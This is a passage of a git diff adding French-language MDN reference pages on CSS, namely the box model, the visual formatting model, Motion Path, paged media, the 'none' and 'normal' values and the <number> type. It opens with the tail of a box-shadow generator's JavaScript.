+			active.button.removeAttribute('data-active');
+			active.node.style.display = 'none';
+			active = classes[topic];
+			active.node.style.display = 'block';
+			active.button.setAttribute('data-active', 'true');
+		}
+
+		var toggleButton = function toggleButton(topic, value) {
+			var display = (value === true) ? 'block' : 'none';
+			classes[topic].button.style.display = display;
+
+			if (value === true)
+				toggleDisplay(topic);
+			else
+				toggleDisplay('element');
+		}
+
+		var updateProperty = function updateProperty(topic, property, data) {
+			try {
+				classes[topic].prop[property].textContent = data + ';';
+			}
+			catch(error) {
+				// console.log("ERROR undefined : ", topic, property, data);
+			}
+		}
+
+		var toggleProperty = function toggleProperty(topic, property, value) {
+			var display = (value === true) ? 'block' : 'none';
+			try {
+				classes[topic].line[property].style.display = display;
+			}
+			catch(error) {
+				// console.log("ERROR undefined : ",classes, topic, property, value);
+			}
+		}
+
+		var init = function init() {
+
+			menu = getElemById('menu');
+
+			var elem = document.querySelectorAll('#output .output');
+			var size = elem.length;
+			for (var i = 0; i &lt; size; i++)
+				OutputClass(elem[i]);
+
+			active = classes['element'];
+			toggleDisplay('element');
+
+			ButtonManager.subscribe("before", function(value) {
+				toggleButton('before', value);
+			});
+
+			ButtonManager.subscribe("after", function(value) {
+				toggleButton('after', value);
+			});
+		}
+
+		return {
+			init : init,
+			updateProperty : updateProperty,
+			toggleProperty : toggleProperty
+		}
+
+	})();
+
+
+	/**
+	 * Init Tool
+	 */
+	var init = function init() {
+		ButtonManager.init();
+		OutputManager.init();
+		ColoPicker.init();
+		SliderManager.init();
+		LayerManager.init();
+		PreviewMouseTracking.init("preview");
+		Tool.init();
+	}
+
+	return {
+		init : init
+	}
+
+})();
+
+
+</code></pre>
+</div>
+
+<div>{{EmbedLiveSample('box-shadow_generator', '100%', '1100px', '')}}</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://cssgenerator.org/box-shadow-css-generator.html">Le générateur d'ombres CSS</a></li>
+</ul>
diff --git a/files/fr/web/css/modèle_de_boîte_css/index.html b/files/fr/web/css/modèle_de_boîte_css/index.html
new file mode 100644
index 0000000000..3bc62c03f1
--- /dev/null
+++ b/files/fr/web/css/modèle_de_boîte_css/index.html
@@ -0,0 +1,115 @@
+---
+title: Modèle de boîte
+slug: Web/CSS/Modèle_de_boîte_CSS
+tags:
+  - Aperçu
+  - CSS
+  - CSS Box Model
+  - Overview
+  - Reference
+translation_of: Web/CSS/CSS_Box_Model
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>Le modèle de boîte CSS</strong> (<em>Basic Box Model</em> en anglais) est un module CSS qui définit les boîtes rectangulaires (y compris leurs zones de remplissage (<em>padding</em>) et de marges) qui sont générées pour disposer les éléments selon leur modèle de mise en forme visuelle.</p>
+
+<h2 id="Référence">Référence</h2>
+
+<h3 id="Propriétés">Propriétés</h3>
+
+<h4 id="Les_propriétés_qui_définissent_le_flux_du_contenu_dans_une_boîte">Les propriétés qui définissent le flux du contenu dans une boîte</h4>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("overflow")}}</li>
+ <li>{{cssxref("overflow-x")}}</li>
+ <li>{{cssxref("overflow-y")}}</li>
+</ul>
+</div>
+
+<h4 id="Les_propriétés_qui_définissent_la_taille_d'une_boîte">Les propriétés qui définissent la taille d'une boîte</h4>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("height")}}</li>
+ <li>{{cssxref("width")}}</li>
+ <li>{{cssxref("max-height")}}</li>
+ <li>{{cssxref("max-width")}}</li>
+ <li>{{cssxref("min-height")}}</li>
+ <li>{{cssxref("min-width")}}</li>
+</ul>
+</div>
+
+<h4 id="Les_propriétés_qui_définissent_les_marges_d'une_boîte">Les propriétés qui définissent les marges d'une boîte</h4>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("margin")}}</li>
+ <li>{{cssxref("margin-bottom")}}</li>
+ <li>{{cssxref("margin-left")}}</li>
+ <li>{{cssxref("margin-right")}}</li>
+ <li>{{cssxref("margin-top")}}</li>
+ <li>{{CSSxRef("margin-trim")}} {{Experimental_Inline}}</li>
+</ul>
+</div>
+
+<h4 id="Les_propriétés_qui_définissent_le_remplissage_(padding)_d'une_boîte">Les propriétés qui définissent le remplissage (<em>padding</em>) d'une boîte</h4>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("padding")}}</li>
+ <li>{{cssxref("padding-bottom")}}</li>
+ <li>{{cssxref("padding-left")}}</li>
+ <li>{{cssxref("padding-right")}}</li>
+ <li>{{cssxref("padding-top")}}</li>
+</ul>
+</div>
+
+<h4 id="Les_autres_propriétés">Les autres propriétés</h4>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("box-shadow")}}</li>
+ <li>{{cssxref("visibility")}}</li>
+</ul>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/fr/Apprendre/CSS/Les_bases/Le_modèle_de_boîte">Une introduction au modèle de boîte CSS</a></dt>
+ <dd>Cet article explique un des concepts clé de CSS : le modèle de boîte. Il définit notamment les notions de marge, de remplissage (<em>padding</em>) ainsi que les différentes zones qui forment une boîte.</dd>
+ <dt><a href="/fr/docs/Web/CSS/Fusion_des_marges">Maîtriser la fusion des marges</a></dt>
+ <dd>Dans certains cas, deux marges adjacentes sont fusionnées en une seule. Cet article explique quand cela se produit et comment contrôler ce comportement.</dd>
+ <dt><a href="/fr/docs/Web/CSS/Modèle_de_mise_en_forme_visuelle">Le modèle de mise en forme visuel</a></dt>
+ <dd>Cet article explique le modèle de mise en forme visuel.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Box")}}</td>
+   <td>{{Spec2("CSS3 Box")}}</td>
+   <td>Added <code>margin-trim</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS2.1", "box.html")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS1")}}</td>
+   <td>{{Spec2("CSS1")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/css/modèle_de_mise_en_forme_visuelle/index.html b/files/fr/web/css/modèle_de_mise_en_forme_visuelle/index.html
new file mode 100644
index 0000000000..d9ac8b3f09
--- /dev/null
+++ b/files/fr/web/css/modèle_de_mise_en_forme_visuelle/index.html
@@ -0,0 +1,179 @@
+---
+title: Modèle de mise en forme visuelle
+slug: Web/CSS/Modèle_de_mise_en_forme_visuelle
+tags:
+  - CSS
+  - Intermédiaire
+  - NeedsUpdate
+translation_of: Web/CSS/Visual_formatting_model
+---
+<div>{{CSSRef}}</div>
+
+<p>En CSS, le modèle de mise en forme visuelle est un algorithme qui traite un document afin de l'afficher sur un support visuel. Chaque élément du document est ainsi transformé en zéro, une ou plusieurs boîtes qui s'inscrivent dans <a href="/fr/Apprendre/CSS/Introduction_à_CSS/Le_modèle_de_boîte">le modèle de boîtes CSS</a>. La disposition de chaque boîte est dictée par :</p>
+
+<ul>
+ <li>Les dimensions de la boîte qui peuvent être définies explicitement, contraintes ou non</li>
+ <li>Le type de la boîte : en ligne, en ligne et de niveau (<em>inline-level</em>), atomique, en bloc</li>
+ <li>Le mode de positionnement : dans le flux normal, en flottement ou positionnée de façon absolue</li>
+ <li>Les autres éléments présents dans l'arbre du document et notamment ses enfants et ses voisins</li>
+ <li>La taille et la position de la zone d'affichage (<em>viewport</em>)</li>
+ <li>Les dimensions intrinsèques des images qu'elle contient</li>
+ <li>Éventuellement d'autres informations externes.</li>
+</ul>
+
+<p>Le modèle affiche une boîte par rapport au bord du bloc qui la contient. Généralement, une boîte devient le bloc contenant pour ses éléments descendants. Toutefois, une boîte n'est pas contrainte dans son bloc contenant, le contenu d'une boîte peut parfois dépasser (ce qu'on appelle en anglais <em>overflow</em>).</p>
+
+<h2 id="Génération_de_la_boîte">Génération de la boîte</h2>
+
+<p>Lors de cette étape, on crée les boîtes à partir des éléments du document. Les boîtes générées sont de différents types et ces types ont un impact sur la mise en forme visuelle. Le type de boîte générée dépend de la valeur de la propriété {{cssxref("display")}}.</p>
+
+<h3 id="Les_éléments_de_bloc_et_les_boîtes_de_bloc">Les éléments de bloc et les boîtes de bloc</h3>
+
+<p>Un élément est dit « de bloc » lorsque <a href="/fr/docs/Web/CSS/Valeur_calculée">la valeur calculée</a> de la propriété {{cssxref("display")}} qui lui est appliquée vaut : <code>block</code>, <code>list-item</code> ou <code>table</code>. Un élément de bloc est représenté sous la forme d'un bloc (comme un paragraphe par exemple) et les blocs sont empilés verticalement les uns sur les autres.</p>
+
+<p>Chaque boîte de bloc contribue au <a href="/fr/docs/Web/CSS/Block_formatting_context">contexte de mise en forme des blocs</a>. Chaque élément de bloc génère au moins une boîte de niveau bloc, qu'on appelle la boîte de bloc principale. Certains éléments (comme les éléments d'une liste par exemple) génèrent d'autres boîtes afin de gérer les puces ou d'autres éléments typographiques.</p>
+
+<p>La boîte de bloc principale contient les boîtes générées par les descendants ete le contenu généré. Cette boîte participe au schéma de positionnement.</p>
+
+<p><img alt="venn_blocks.png" class="internal lwrap" src="/@api/deki/files/5995/=venn_blocks.png"></p>
+
+<p>Une boîte de bloc peut également un conteneur de blocs. Un conteneur de blocs est une boîte qui ne contient que d'autres boîtes de bloc ou qui crée un contexte de formatage en ligne et qui ne contient alors que des boîtes en ligne. Attention, les notions de boîtes de bloc et de conteneurs de blocs ne sont pas identiques. La première décrit la façon dont la boîte se comporte avec ses parents et ses voisins et le seconde définit la façon dont elle interagit avec ses descendants. Certaines boîtes de blocs, telles que les tableaux, ne sont pas des conteneurs de blocs. Réciproquement, certains conteneurs de blocs (tels que les cellules de tableau non remplacées) ne sont pas des boîtes de bloc.</p>
+
+<p>Les boîtes de bloc qui sont également des conteneurs de blocs sont appelées des boîtes-bloc.</p>
+
+<h4 id="Les_boîtes_de_bloc_anonymes">Les boîtes de bloc anonymes</h4>
+
+<p>Dans certains cas, l'algorithme doit ajouter certaines boîtes supplémentaires. Or, les sélecteurs CSS ne permettent pas de mettre en forme ou de nommer ces boîtes, elles sont donc appelées boîtes de bloc <em>anonymes</em>.</p>
+
+<p>Les sélecteurs ne permettent pas de manipuler la mise en forme de ces boîtes. Aussi, pour ces boîtes, toutes les propriétés CSS utilisant l'héritage auront la valeur {{cssxref("inherit")}} et toutes les propriétés CSS qui ne sont pas héritées auront la valeur <code>initial</code>.</p>
+
+<p>Les boîtes qui contiennent des blocs ne contiennent que des boîtes en ligne ou que des boîtes en blocs. Mais souvent, le document contient un mélange des deux. Dans ces cas, des boîtes de bloc anonymes sont créées autour des boîtes en lignes adjacentes.</p>
+
+<p>Si on prend le code HTML suivant, mis en forme avec les règles par défaut (<code>display:block</code>) :</p>
+
+<pre class="brush: html notranslate">&lt;div&gt;
+   Some inline text
+   &lt;p&gt;followed by a paragraph&lt;/p&gt;
+   followed by more inline text.
+&lt;/div&gt;
+</pre>
+
+<p>On aura deux boîtes de bloc anonymes qui seront créées : une pour le texte avant le paragraphe et une pour le texte après. On aura alors la structure suivante :<br>
+   <img alt="anonymous_block-level_boxes.png" src="/@api/deki/files/5996/=anonymous_block-level_boxes.png"></p>
+
+<p>À la différence de la boîte des éléments {{HTMLElement("p")}}, les développeurs ne peuvent pas contrôler la mise en forme des boîtes anonymes. Les propriétés qui héritent des éléments parents récupèreront la valeur obtenue pour l'élément {{HTMLElement("div")}} et les autres propriétés auront la valeur <code>initial</code>.</p>
+
+<p>Un autre scénario peut amener à la création de boîtes de bloc anonyme : lorsqu'une boîte en ligne contient une ou plusieurs boîtes de bloc. Dans ce cas, la boîte qui contient la boîte de bloc est divisée en deux boîtes en ligne : une avant et une après la boîte de bloc. Toutes les boîtes en ligne avant la boîte de bloc sont englobées dans une boîte de bloc anonyme et il en va de même pour les boîtes en ligne qui suivent la boîte de bloc. Aussi, la boîte de bloc devient un voisin de deux boîtes de bloc anonymes qui contiennent les éléments en ligne.</p>
+
+<p>S'il y a plusieurs boîtes de bloc sans contenu en ligne entre elles, les boîtes de bloc anonymes sont créées avant et après ces boîtes.</p>
+
+<p>Si on prend le code HTML suivant, pour lequel {{HTMLElement("p")}} aura <code>display:inline</code> et {{HTMLElement("span")}} aura <code>display:block</code> :</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;
+  Some &lt;em&gt;inline&lt;/em&gt; text
+  &lt;span&gt;followed by a paragraph&lt;/span&gt;
+  followed by more inline text.
+&lt;/p&gt;</pre>
+
+<p>Deux boîtes de bloc anonymes sont créées : une pour le texte avant l'élément <code>&lt;span&gt;</code> et une pour le texte qui suit cet élément. On a alors la structure suivante :</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13625/anonymous_block_box_break.png" style="height: 137px; width: 597px;"></p>
+
+<h3 id="Les_éléments_en_ligne_et_les_boîtes_en_ligne">Les éléments en ligne et les boîtes en ligne</h3>
+
+<p>Un élément est dit « en ligne » lorsque la valeur de sa propriété CSS {{cssxref("display")}} vaut : <code>inline</code>, <code>inline-block</code> ou <code>inline-table</code>. Visuellement, un tel élément est organisé sur des lignes qui se suivent les unes les autres avec d'autre contenu en ligne. Généralement, il s'agit du contenu d'un paragraphe (éventuellement mis en forme).</p>
+
+<p>Les éléments en ligne génèrent des boîtes en lignes qui contribuent <a href="/fr/docs/CSS/Inline_formatting_context">au contexte de mise en forme en ligne</a>.</p>
+
+<p>Les boîtes en lignes atomiques ne peuvent pas être divisées en plusieurs lignes au sein d'un contexte de mise en forme.</p>
+
+<pre class="brush: html notranslate">&lt;style&gt;
+  span {
+    /* La valeur par défaut */
+    display:inline;
+  }
+&lt;/style&gt;
+&lt;div style="width:20em;"&gt;
+   Le texte dans le span &lt;span&gt;peut être divisé
+   en plusieurs lignes&lt;/span&gt; dans une boîte en
+   ligne.
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: html notranslate">&lt;style&gt;
+  span {
+    display:inline-block;
+  }
+&lt;/style&gt;
+&lt;div style="width:20em;"&gt;
+   Le texte dans le span &lt;span&gt;ne peut pas être
+   divisé en plusieurs lignes car&lt;/span&gt; il est
+   dans une boîte de type inline-block.
+&lt;/div&gt;
+</pre>
+
+<h4 id="Les_boîtes_en_ligne_anonymes">Les boîtes en ligne anonymes</h4>
+
+<p>Comme pour les boîtes de bloc, il existe quelques cas pour lesquels des boîtes en lignes sont automatiquement créées par le moteur CSS. Ces boîtes en ligne sont également anonymes et ne peuvent être ciblées par les sélecteurs. Pour les propriétés qui fonctionnent avec l'héritage, ces boîtes hériteront de la valeur de la propriété <code>relative</code> à l'élément parent, pour les autres, elles vaudront <code>initial</code>.</p>
+
+<p>La plupart du temps, une boîte en ligne anonyme est créée lorsque du texte se trouve être un enfant direct d'une boîte en bloc, ce qui crée un contexte de mise en forme en ligne. Dans ce cas, le texte est inclus dans la plus grande boîte en ligne qui puisse être et c'est cette boîte qui est la boîte anonyme. Par ailleurs, le contenu blanc qui serait retiré par la propriété {{cssxref("white-space")}} ne génère pas de boîtes en ligne car celles-ci seraient vides.</p>
+
+<h3 id="Les_autres_types_de_boîte">Les autres types de boîte</h3>
+
+<h4 id="Les_boîtes_de_ligne">Les boîtes de ligne</h4>
+
+<p><em>Les boîtes de ligne</em> sont générées dans un contexte de mise en forme en ligne afin de représenter une ligne de texte. Au sein d'une boîte en bloc, un boîte de ligne s'étend d'un bord à l'autre de la boîte. Lorsqu'il y a une disposition flottante, la boîte de ligne démarre au bord le plus à droite de la partie flottante qui est située à gauche et finit à la droite du bord gauche suivant.</p>
+
+<p>Ces boîtes sont uniquement utilisées par le moteur et les développeurs web ne devraient pas avoir à s'en préoccuper.</p>
+
+<h4 id="Les_types_de_boîtes_liés_au_modèle_CSS">Les types de boîtes liés au modèle CSS</h4>
+
+<p>En plus des boîtes en ligne et des boîtes de bloc, CSS définit plusieurs autres modèles de contenu qui peuvent être appliqués aux éléments. Ces modèles définissent des types de boîtes supplémentaires :</p>
+
+<ul>
+ <li>Le modèle de contenu pour les tableaux utilise des boîtes englobant les tableaux, des boîtes de tableau et des boîtes de légende</li>
+ <li>Le modèle de contenu à plusieurs colonnes permet de créer des boîtes de colonne entre la boîte englobante et le contenu<em>.</em></li>
+ <li>Les modèles de contenu expérimentaux en grille (<em>CSS Grid</em>) ou avec les boîtes flexibles (<em>flexbox</em>) définissent d'autres types de boîtes.</li>
+</ul>
+
+<h2 id="Modes_de_positionnement">Modes de positionnement</h2>
+
+<p>Une fois les boîtes générées, le moteur CSS doit les disposer les unes par rapport aux autres. Pour ce faire, il utilise un des algorithmes suivants :</p>
+
+<ul>
+ <li>Le mode de positionnement normal positionne les boîtes les unes après les autres</li>
+ <li>Le mode de positionnement flottant permet d'extraire une boîte du flux normal et de la placer sur le côté de la boîte englobante</li>
+ <li>Le mode de positionnement absolu permet de placer une boîte dans un système de coordonnées absolues, basée sur l'élément englobant. Un élément positionné de façon absolue peut recouvrir d'autres éléments.</li>
+</ul>
+
+<h3 id="Le_mode_normal">Le mode normal</h3>
+
+<p>Dans le mode de positionnement normal, les boîtes sont disposées les unes après les autres. Pour un contexte de mise en forme de bloc, elles seront empilées verticalement et pour un contexte de mise en forme en ligne, elles se suivront horizontalement. Le mode de disposition normal est déclenché lorsque la propriété CSS {{cssxref("position")}} vaut <code>static</code> ou <code>relative</code> et si la propriété CSS {{cssxref("float")}} vaut <code>none</code>.</p>
+
+<p>On a deux cas de figure pour le mode normal : le positionnement statique et le positionnement relatif.</p>
+
+<ul>
+ <li>En positionnement statique (obtenu avec la valeur <code>static</code> pour la propriété {{cssxref("position")}}), les boîtes sont dessinées à l'emplacement exact dicté par le flux normal.</li>
+ <li>En positionnement relatif (obtenu lorsque la propriété {{cssxref("position")}} vaut <code>relative</code>), les boîtes sont dessinées avec un décalage défini par les propriétés {{cssxref("top")}}, {{cssxref("bottom")}}, {{cssxref("left")}} et {{cssxref("right")}}.</li>
+</ul>
+
+<h3 id="Le_mode_flottant">Le mode flottant</h3>
+
+<p>Avec le mode de positionnement flottant, certaines boîtes sont placées au début ou à la fin de ligne courante. Le texte (et tout ce qui se trouve dans le flux normal) épouse donc le contour des boîtes flottantes (sauf si la propriété {{cssxref("clear")}} dicte un autre comportement).</p>
+
+<p>Pour qu'une boîte soit une boîte flottante, on utilisera la propriété {{cssxref("float")}} avec une valeur différente de <code>none</code> et la propriété {{cssxref("position")}} avec <code>static</code> ou <code>relative</code>. Si {{cssxref("float")}} vaut <code>left</code>, la boîte flottante sera positionnée au début de la ligne de la boîte englobante et si elle vaut <code>right</code>, elle sera à la fin de la ligne.</p>
+
+<h3 id="Le_mode_absolu">Le mode absolu</h3>
+
+<p>En mode absolu, les boîtes sont entièrement retirées du flux normal et n'interagissent plus avec le flux. Elles sont positionnées de façon relative à leur bloc englobant grâce aux propriétés {{cssxref("top")}}, {{cssxref("bottom")}}, {{cssxref("left")}} et {{cssxref("right")}}.</p>
+
+<p>Un élément est positionné de façon absolue lorsque la propriété {{cssxref("position")}} vaut <code>absolute</code> ou <code>fixed</code>.</p>
+
+<p>Pour un élément positionné de façon fixe, le bloc englobant sera la zone d'affichage (<em>viewport</em>) et la position de l'élément est absolue par rapport à la zone d'affichage. Faire défiler le contenu ne modifie pas la position de l'élément.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Reference">La référence CSS</a></li>
+ <li>{{css_key_concepts}}</li>
+</ul>
diff --git a/files/fr/web/css/motion_path/index.html b/files/fr/web/css/motion_path/index.html
new file mode 100644
index 0000000000..e6740d2023
--- /dev/null
+++ b/files/fr/web/css/motion_path/index.html
@@ -0,0 +1,54 @@
+---
+title: Motion Path
+slug: Web/CSS/Motion_Path
+tags:
+  - Aperçu
+  - CSS
+  - Experimental
+  - Motion Path
+  - Reference
+translation_of: Web/CSS/CSS_Motion_Path
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p><em><strong>Motion Path</strong></em> est un module de la spécification CSS qui permet aux auteurs d'animer des objets graphiques le long d'une ligne appelée <em>chemin</em>.</p>
+
+<h2 id="Référence">Référence</h2>
+
+<h3 id="Propriétés">Propriétés</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("offset")}}</li>
+ <li>{{cssxref("offset-distance")}}</li>
+ <li>{{cssxref("offset-path")}}</li>
+ <li>{{cssxref("offset-rotate")}}</li>
+</ul>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Spécification</th>
+   <th>État</th>
+   <th>Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Motion Path Level 1')}}</td>
+   <td>{{Spec2('Motion Path Level 1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<h3 id="offset"><code>offset</code></h3>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.offset")}}</p>
diff --git a/files/fr/web/css/média_paginés/index.html b/files/fr/web/css/média_paginés/index.html
new file mode 100644
index 0000000000..9d114b8e9b
--- /dev/null
+++ b/files/fr/web/css/média_paginés/index.html
@@ -0,0 +1,20 @@
+---
+title: Médias paginés
+slug: Web/CSS/Média_paginés
+tags:
+  - CSS
+  - Reference
+translation_of: Web/CSS/Paged_Media
+---
+<div>{{CSSRef}}</div>
+
+<p>Les propriétés des médias paginés contrôlent la présentation du contenu imprimable ou de tout autre média dont le contenu est divisé en pages individuelles. Elles permettent de définir des sauts de page, de contrôler la zone d'impression, de donner des styles différents aux pages gauche et droite et de contrôler l'application des césures à l'intérieur des éléments. Voici quelques-unes des propriétés supportées les plus fréquemment utilisées :</p>
+
+<ul>
+ <li>{{cssxref("page-break-before")}}</li>
+ <li>{{cssxref("page-break-after")}}</li>
+ <li>{{cssxref("page-break-inside")}}</li>
+ <li>{{cssxref("orphans")}}</li>
+ <li>{{cssxref("widows")}}</li>
+ <li>{{cssxref("@page")}}</li>
+</ul>
diff --git a/files/fr/web/css/none/index.html b/files/fr/web/css/none/index.html
new file mode 100644
index 0000000000..a638a00c93
--- /dev/null
+++ b/files/fr/web/css/none/index.html
@@ -0,0 +1,42 @@
+---
+title: none
+slug: Web/CSS/none
+tags:
+  - CSS
+  - Référence CSS
+translation_of: Web/CSS/float
+---
+<p>{{ CSSRef() }}</p>
+<h2 id="Résumé">Résumé</h2>
+<p><code>none</code> est une valeur commune pour la plupart des propriétés CSS et souvent c'est la valeur par défaut. On peut la comparer à la valeur {{ Cssxref("normal") }} qui peut être utilisée de manière similaire pour d'autres propriétés.</p>
+<h2 id="Utilisation">Utilisation</h2>
+<div class="warning">
+  Cette liste n'est pas exhaustive et les propriétés qui ne sont pas encore supportées par les différents navigateurs ne sont pas incluses.</div>
+<ul>
+  <li>{{ Cssxref("animation-name") }}</li>
+  <li>{{ Cssxref("background-image") }}</li>
+  <li>{{ Cssxref("border-style") }} ({{ Cssxref("border-bottom-style") }}, {{ Cssxref("border-left-style") }}, {{ Cssxref("border-right-style") }} et {{ Cssxref("border-top-style") }}</li>
+  <li>{{ Cssxref("clear") }}</li>
+  <li>{{ Cssxref("content") }}</li>
+  <li>{{ Cssxref("display") }}</li>
+  <li>{{ Cssxref("float") }}</li>
+  <li>{{ Cssxref("font-size-adjust") }}</li>
+  <li>{{ Cssxref("list-style-image") }}</li>
+  <li>{{ Cssxref("list-style-type") }}</li>
+  <li>{{ Cssxref("max-height") }}</li>
+  <li>{{ Cssxref("max-width") }}</li>
+  <li>{{ Cssxref("outline-style") }}</li>
+  <li>{{ Cssxref("quotes") }}</li>
+  <li>{{ Cssxref("resize") }}</li>
+  <li>{{ Cssxref("text-decoration") }}</li>
+  <li>{{ Cssxref("text-transform") }}</li>
+</ul>
+<p><u><strong>Extensions Mozilla :</strong></u></p>
+<ul>
+  <li>{{ Cssxref("-moz-transform") }}</li>
+  <li>{{ Cssxref("-moz-transition-property") }}</li>
+  <li>{{ Cssxref("-moz-text-blink") }}</li>
+  <li>{{ Cssxref("-moz-user-input") }}</li>
+  <li>{{ Cssxref("-moz-user-select") }}</li>
+  <li>{{ Cssxref("-moz-window-shadow") }}</li>
+</ul>
diff --git a/files/fr/web/css/normal/index.html b/files/fr/web/css/normal/index.html
new file mode 100644
index 0000000000..a0647d35ac
--- /dev/null
+++ b/files/fr/web/css/normal/index.html
@@ -0,0 +1,35 @@
+---
+title: normal
+slug: Web/CSS/normal
+tags:
+  - CSS
+  - Référence CSS
+translation_of: Web/CSS/font-variant
+---
+<p>{{ CSSRef() }}</p>
+<h2 id="Résumé">Résumé</h2>
+<p><code>normal</code> est une valeur commune pour certaines propriétés CSS et souvent c'est la valeur par défaut. On peut la comparer à la valeur {{ Cssxref("none") }} qui peut être utilisée de manière similaire pour d'autres propriétés.</p>
+<h2 id="Utilisation">Utilisation</h2>
+<div class="warning">
+  Cette liste n'est pas exhaustive et les propriétés qui ne sont pas encore supportées par les différents navigateurs ne sont pas incluses.</div>
+<ul>
+  <li>{{ Cssxref("animation-direction") }}</li>
+  <li>{{ Cssxref("content") }}</li>
+  <li>{{ Cssxref("counter-increment") }}</li>
+  <li>{{ Cssxref("counter-reset") }}</li>
+  <li>{{ Cssxref("font-style") }}</li>
+  <li>{{ Cssxref("font-variant") }}</li>
+  <li>{{ Cssxref("font-weight") }}</li>
+  <li>{{ Cssxref("letter-spacing") }}</li>
+  <li>{{ Cssxref("white-space") }}</li>
+  <li>{{ Cssxref("word-spacing") }}</li>
+  <li>{{ Cssxref("word-wrap") }}</li>
+</ul>
+<p><u><strong>Extensions Mozilla :</strong></u></p>
+<ul>
+  <li>{{ Cssxref("-moz-appearance") }}</li>
+  <li>{{ Cssxref("-moz-box-direction") }}</li>
+  <li>{{ Cssxref("-moz-column-gap") }}</li>
+  <li>{{ Cssxref("-moz-column-rule-width") }}</li>
+</ul>
+<p>{{ languages( { "en": "en/CSS/normal", "es": "es/CSS/normal" } ) }}</p>
diff --git a/files/fr/web/css/number/index.html b/files/fr/web/css/number/index.html
new file mode 100644
index 0000000000..24f099da66
--- /dev/null
+++ b/files/fr/web/css/number/index.html
@@ -0,0 +1,88 @@
+---
+title: <number>
+slug: Web/CSS/number
+tags:
+  - CSS
+  - Reference
+  - Type
+translation_of: Web/CSS/number
+---
+<div>{{CSSRef}}</div>
+
+<p>Le type de donnée CSS <strong><code>&lt;number&gt;</code></strong> permet de représenter des nombres entiers ou décimaux. C'est donc un type qui englobe le type de données {{cssxref("&lt;integer&gt;")}} (permettant de représenter des entiers).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Pour représenter des nombres décimaux, on utilisera le point (.) comme séparateur. Comme pour {{cssxref("&lt;integer&gt;")}}, il n'y a aucune unité associée aux valeurs de type <code>&lt;number&gt;</code> (ce n'est donc pas une dimension).</p>
+
+<h2 id="Interpolation">Interpolation</h2>
+
+<p>Les valeurs de type <code>&lt;number&gt;</code> peuvent être interpolées afin d'être utilisées dans les animations. Les valeurs de ce type seront interpolées comme des nombres réels à virgule flottante. La vitesse de l'interpolation sera définie grâce <a href="/fr/docs/Web/CSS/timing-function">à la fonction de temporisation</a> associée à l'animation.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Voici des exemples de valeurs <code>&lt;number&gt;</code> valides :</p>
+
+<pre class="eval example-good">12          Un entier (<a href="/fr/docs/Web/CSS/integer">&lt;integer&gt;</a>) est également un &lt;number&gt;
+4.01        Un nombre (décimal) positif
+-456.8      Un nombre décimal négatif
+0.0         Zéro
++0.0        Zéro, avec un +
+-0.0        Zero, avec un -
+.60         Les chiffres avant le point sont facultatifs
+10e3        On peut utiliser la notation scientifique
+-3.4e-2     Un cas d'utilisation de notation scientifique plus complexe
+</pre>
+
+<p>Voici des exemples de valeurs invalides :</p>
+
+<pre class="eval example-bad">12.         Le point doit être suivi par des chiffres
++-12.2      Seul un +/- est autorisé.
+12.1.1      Seul un point est autorisé.
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Values", "#numbers", "&lt;number&gt;")}}</td>
+   <td>{{Spec2("CSS4 Values")}}</td>
+   <td>Aucune modification significative.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Values', '#numbers', '&lt;number&gt;')}}</td>
+   <td>{{Spec2('CSS3 Values')}}</td>
+   <td>Aucune modification significative depuis la spécification CSS de niveau 2 (première révision).</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'syndata.html#numbers', '&lt;number&gt;')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition explicite du type de données.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '', '&lt;number&gt;')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition implicite du type de données.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
